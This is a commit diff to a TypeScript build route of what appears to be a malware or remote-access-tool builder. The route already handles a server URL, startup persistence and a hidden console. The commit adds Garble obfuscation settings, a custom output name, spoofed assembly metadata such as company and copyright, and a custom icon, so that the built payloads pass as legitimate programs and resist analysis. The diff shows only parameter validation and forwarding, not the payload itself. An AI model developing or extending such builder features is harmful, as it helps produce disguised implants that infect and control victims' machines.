Add custom output name, assembly data, icon, and garble settings to builder

This commit is contained in:
unknown
2026-03-16 14:09:06 +01:00
parent c8c45fe565
commit 7f82737fbc
6 changed files with 351 additions and 22 deletions
@@ -52,6 +52,16 @@ export async function handleBuildRoutes(
disableMutex,
hideConsole,
noPrinting,
outputName,
garbleLiterals,
garbleTiny,
garbleSeed,
assemblyTitle,
assemblyProduct,
assemblyCompany,
assemblyVersion,
assemblyCopyright,
iconBase64,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -119,6 +129,21 @@ export async function handleBuildRoutes(
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;
const safeGarbleSeed = typeof garbleSeed === "string" && /^[A-Za-z0-9]{1,64}$/.test(garbleSeed.trim())
? garbleSeed.trim()
: undefined;
const safeAssemblyVersion = typeof assemblyVersion === "string" && /^\d{1,5}\.\d{1,5}\.\d{1,5}\.\d{1,5}$/.test(assemblyVersion.trim())
? assemblyVersion.trim()
: undefined;
const safeStr = (val: any, max = 128) =>
typeof val === "string" && val.trim().length > 0 ? val.trim().slice(0, max) : undefined;
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
? iconBase64
: undefined;
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
@@ -133,6 +158,16 @@ export async function handleBuildRoutes(
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
outputName: safeOutputName,
garbleLiterals: !!garbleLiterals,
garbleTiny: !!garbleTiny,
garbleSeed: safeGarbleSeed,
assemblyTitle: safeStr(assemblyTitle),
assemblyProduct: safeStr(assemblyProduct),
assemblyCompany: safeStr(assemblyCompany),
assemblyVersion: safeAssemblyVersion,
assemblyCopyright: safeStr(assemblyCopyright),
iconBase64: safeIconBase64,
});
return Response.json({ buildId });